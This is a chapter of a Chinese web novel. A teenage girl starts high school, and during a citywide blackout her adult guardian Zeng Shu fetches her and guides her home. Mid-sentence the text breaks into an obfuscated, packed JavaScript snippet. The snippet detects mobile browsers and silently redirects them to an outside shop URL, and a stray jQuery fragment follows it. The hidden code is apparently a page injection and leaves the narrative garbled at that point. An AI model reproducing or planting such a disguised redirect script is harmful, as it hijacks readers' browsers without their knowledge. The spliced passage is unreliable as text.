暑假过得很快，像被太阳晒得薄薄的一张纸，风一吹，就翻到了开学那一页。
假期她跟着曾樹和奶奶又回了一次青林乡，按原例扫了一回墓，在乡下住了十来天。
生日那天，曾樹带她去了饭店。
期间吕丽萍来过一次电话，知道她考上了一中，夸奖了几句，但随即让她一定要懂事，懂得感恩，不要闹脾气，也别惹事，好好读书，考上大学。
林之杏只是点头听着，像大人一样问了问她怎么样。
电话那头没说几句，只是颓丧地表示“还能撑下去就活着吧，实在活不下去就再说。”
林之杏很想问问她，那二十几万被拿走，像一块石头沉进水里，完全没有泛起一点水花，做父母的，怎么能把孩子也一起沉下去？
她被牵连、被丢下，寄人篱下，还要听他们自怨自艾、活不下去吗？
她时常觉得自己是不是太冷血，但仔细想想，不冷血一点，她还要怎么不痛？还要怎么活下去？
只是很久没见到许言了。
曾樹从来不说，她和奶奶做饭的时候，东拉西扯地把话题拉到这上面过。
奶奶看了看她，只是低头摘着蒜薹：“小樹这孩子，认死理，倔起来，九头牛都拉不回来。”
林之杏抬眼看着奶奶，夏日午后的光打在奶奶的脸上，松弛的褶皱里像盛着一点安静的亮，她开口道：“奶奶，是不是因为我，我拖累曾樹哥哥了。”她低下头，看着脚下拖鞋里光洁的脚趾，“之前也是因为我的家长会，他和许言姐姐吵架。”
王秋菊把摘好的蒜薹放在旁边的筐子里，又分了半把给林之杏，看了她一眼：“不是，你别多想。我看他俩就不合适。”蒜薹的薄皮被撕开，冲出刺鼻的香味，奶奶用手背擦了擦鼻子。
王秋菊把蒜薹放在一边，起身洗了把手，走回来坐下：“小樹现在也不成熟，可能也不会经营感情。”她看了看林之杏，“对你也是，不知道该关心还是该怎样，时常惹得你也不高兴。”
林之杏看着奶奶，半解半不解地点了点头，心想其实他没有惹自己不高兴。
-
开学对林之杏来说很顺利，新的校园，新的朋友，一切都是新的。
笨重的校服里，她穿着那天专程买的内衣，终于开始敢昂首挺胸，不再塌肩弓背地低着头走路。
只是一中的晚自习要上到十点，比初中要晚两个小时，早上也要提前一个小时到校，六点半就得集合跑操。
她看了看跟在背后搬书的曾樹，开口道：“哥哥，要不我住宿吧？来回跑的话，时间很难兼顾得过来。”
曾樹挑眉觑了她一眼，想起刚刚经过的女生宿舍，十人间，黑洞洞不见底，两个老式吊扇挂在房顶，摇了摇头：“我接送你。”把手里的一摞书放在林之杏桌子上，拍了拍手，“这都是外地的学生没办法了，才选择寄宿，一中大部分同学都走读，你又是本地的，住校还是不方便。”
他不想她再遇到初中那种情况了。
万一又有什么同学听说了风言风语，或者家长和吕丽萍林风平有什么关系，又把她逼得不能回宿舍睡觉怎么办？
林之杏皱着眉头，有些不解。
既然她能寄宿，也能少他和奶奶的麻烦，他有更多的时间做自己的事，为什么不让呢？
但曾樹满头大汗，神色也不是很轻快，有些倦意，林之杏下意识觉得不要再争论，就点了点头。
曾樹伸手揉揉她的头：“乖。”
林之杏在大手触到发顶前一秒，往边上一偏，笑嘻嘻冲他做了个鬼脸：“手脏死了。”
曾樹看了一眼发灰的手掌心，又气又好笑：“还不是给你搬东西弄的？”
林之杏跑得远远的，冲他做着口型：“谢谢哥哥。”
教室里满是来搬东西布置的家长和学生，林之杏跑到靠讲台前边，和另一个女生低头说着什么。头发长长了些，松松地用黑色皮筋扎在脑后，曾樹只能看到她的侧脸，侧脸开始有了轮廓，似乎又瘦了些，翘翘的鼻尖挡住了另一侧的眉眼。教室里悬空的风扇转起来，带着午后的热风拂过她发梢，几束头发飘到面前，她随手塞在耳后。
他坐在座位上，旁边有家长跟他打招呼：“您好，我是邻桌的爸爸，我们留个联系方式吧，两个孩子也互相好照顾。”
曾樹从愣神中反应过来，下意识道：“我不是她爸爸。”
那人戴副金丝边眼镜，闻言有些拘谨地笑了一下：“哈哈怪不得呢，你可真年轻。”
曾樹和对方交换了号码，手指按着屏幕，视线却总忍不住越过人群，落到林之杏身上。她一会儿拿着扫把，一会儿又拿着簸箕，进进出出，忙得不亦乐乎。
他是她的什么人？
曾樹捏了捏眉心，他也不知道。
随手翻了翻她桌子上刚领回来的新书，中间却夹着一个什么硬硬的纸壳，曾樹有些好奇，捏着书脊，把整本书竖起来，抽出中间那个纸壳。
是红色的卡纸，裁得方方正正的，两个角落有胶布的痕迹，纸面也有点褪色，泛出淡淡的白。正面写着“中考目标”，是林之杏洋洋洒洒的大字：“考上一中”。
曾樹嘴角带了一抹笑，眼前浮现起中考百日誓师大会时她认真宣誓的样子，又翻了翻背面，是他自己写的字。
背面比正面掉色更厉害，几乎看不到什么红色，整个都泛白了，显然是被摩挲了很多次。
「好好吃饭，好好睡觉。考得上就上，考不上也没事。往前走，别怕。」
曾樹却盯着角落那个落款出神。
「曾樹」
他对她来说是什么？
不是父亲，不是哥哥，也不是其他的什么。
他太阳穴一突一突的，许言的那些话不合时宜地闯进他耳朵里。
“你对她太关心了吧？她是你谁啊？”
“你把我放在什么位置？”
他肩膀猛地被拍了一下，林之杏脸上汗津津地，两只眼睛却亮得惊人，就那样目光炯炯地盯着他，仿佛要把他看穿一个洞。
曾樹赶忙把卡片塞在书里，但林之杏眼尖，一下就看到了。
“哎呀，你怎么偷看？我留着做纪念的。”她一把抢过去，连带着书也拿走了。
“报道没什么事了吧？”曾樹站起来，拍了拍褶皱的裤子，“没事我就先回去了。”
他不看她，一双眼睛左看右看，林之杏皱起眉头：“我还没吃晚饭。”
曾樹从桌肚里掏出钱包，把里面的红色钞票全拿了出来，不多不少一千块，他夹在林之杏书桌上的教材里：“零花钱，自己拿着用。”
转身就走，林之杏放下扫把追了两步，又默默走了回来。
是想让他陪自己吃饭啊，又不是要钱。
她把钱仔细收在书包内侧，依然打算回家后把钱存在王奶奶那里。
少女的旖旎心思，在无数的新鲜事面前，渐渐退居幕后。
运动会、艺术节、分科、模考、月考……
她的日子被填得满满当当，不再像从前那样，一点风吹草动都要绕回曾樹身上。
除了每天他接送自己的时候，聊上几句，两人似乎保留着一种微妙的平衡。
直到那日全城停电。
晚自习的教室倏忽黑下来，四处都是惊呼声。班主任晃着手机电筒让大家安静，林之杏偷偷打开手机，才九点钟。
整栋教学楼都不安地躁动起来，老师去教务组询问消息，班里开始变得闹哄哄。
她趴在桌子上，借着窗外零星的月色观察着教室里的人们。
班里有偷偷谈恋爱的情侣，趁着夜色牵手，胆大的甚至悄悄接吻。有趴在桌子上玩手机的，也有百无聊赖到处溜达的。
年少在学校里的时候，总爱暴雨天和停电这种特殊事件。仿佛这些可以打破按部就班的生活，注入新的活力和冲击。
她却在想一个人。
也是这样黑的天，他端着双层蛋糕，祝她十六岁生日快乐。
奶奶、李兰、刚子、昊子都在，她拿到了一笔不小的生日红包，还吃了很大的蛋糕。
她许了和去年一样的愿望。
「愿年年有今日，岁岁有今朝。」
她的愿望太多，不敢一一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17803291|210529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
祈祷。只希望时间过去，珍贵的人都还在她身边。
电没有像大家以为的那样很快恢复，教室里开始渐渐乱成一锅粥。
班主任不久后赶回来，让大家赶紧回家，明天照常上学。
林之杏摸出手机，给曾樹打电话。
“哥哥，今天全城停电，我们学校现在已经放学了。”
那边接通很快，沉默片刻道：“那你在保安室等我，我现在开车过来，可能路上会有点堵。”
“要不我自己回去。”林之杏试探着问了一声。
“全城停电，你路都看不清楚，怎么自己回？等着我。”那边不由分说挂了电话。
教室里的同学一哄而散，林之杏收拾完书包的时候，已经没剩几个人。
以往即便走得晚，教学楼也是灯火通明，但今时不同往日，整栋楼都黑压压的，像个沉默的巨兽。
不知为何心里突然空落落起来，想快点走出去，快点看到人，快点看到有光的地方。
林之杏背着书包，左手举着手机，电筒的亮光照着台阶，一步一步地往下挪。
好在楼下宽阔的路上还有拥挤不堪的全校学生，她跟在人群中，忽然觉得安心了些。
然而人群像流沙一样溜走，有的父母接送，有的成群结队地回家，好几个同学和她打招呼，林之杏笑着挥手，等在保安亭旁边。
她捏着手机，半坐在台阶上，听着身边喧嚣的人潮声渐渐安静下来。
不知过了多久，皮鞋扣着柏油路面的声音传到她耳边，背后的书包一轻，两肩被拉得往上扯了一下，她抬头。
曾樹低着眉，伸手从她身上取下书包，单肩背在自己身上，衬衣和西裤有些褶皱，背后道路上的车灯一晃，照亮了他高高的鼻梁：“走吧，路上没有信号灯，太堵了，我来晚了。”
林之杏原本想说没关系，可嗓子像被什么堵了一下，只摇了摇头：“谢谢哥哥。”
车子停在小区楼下，感应灯也失灵，整片漆黑。平时亮着的几盏路灯全灭了，楼道口像一张黑洞洞的嘴。远处偶尔有狗叫，不知谁家窗户里传来小孩喊热的声音。
曾樹拉开车门，走在前面：“来，你拉着我，听我数一二三。”
林之杏攥着他的衣角，衬衣布料被汗浸得有些潮，指尖一捏，就贴住了她的掌心。她忽然不敢太用力，只轻轻拽着一小片，像怕一不小心就把什么东西扯破。
楼道里太黑，她不知是害怕还是怎么，几乎贴在他身后。曾樹数到“三”的时候，声音顿了一下，像是才意识到她离得太近，但清了清嗓子，又似乎什么也没发生。
他喊一个数字，就迈一步。每层楼都有两截台阶，一截十阶。她跟着他一步步往上走，只能看见手机电筒照出的那一点白光，和他肩背模糊的轮廓。黑夜里他的呼吸声更加明显，林之杏侧耳听着。
就这样摸着黑到402，他掏出钥匙开门，林之杏打开手机手电近近照着。
“奶奶睡得早，不知道停电了，我也没叫她。”曾樹一边开锁，一边压低声音道，“一会儿我打手电给你照着，你洗漱完就去休息吧。”
林之杏点头，过了一会儿又道：“我也给你打手电。”
曾樹笑了笑：“我洗漱过了。”
终于开门，家里没有往日的风扇声，安静得反常。只有客厅挂钟的滴答声反倒在狗吠声里变得非常清楚。
林之杏都忘了那天刷牙的时候挤没挤牙膏，只记得曾樹举着手电给她照亮那一小块地方，心震得像春日惊雷一样响。
手机的光落在她的脸上，漱口的水珠留在嘴角，镜子里映出电筒的反光，曾樹的身影被照得亮亮的。
他看了她一眼，很快把光偏开些，只照着洗手台。
刷完牙随便往脸上抹了两把水，用旁边的毛巾擦了擦，就急匆匆进房间去睡觉了。
躺在被子里，两只手攥着被角，指尖无意识地揉了揉。
布料干燥又柔软，和刚才他衬衣的衣角一点也不像，可她还是想起了楼梯上拽着他往上走的那一下。
她把脸往被子里埋了埋，好像还有他身上的味道。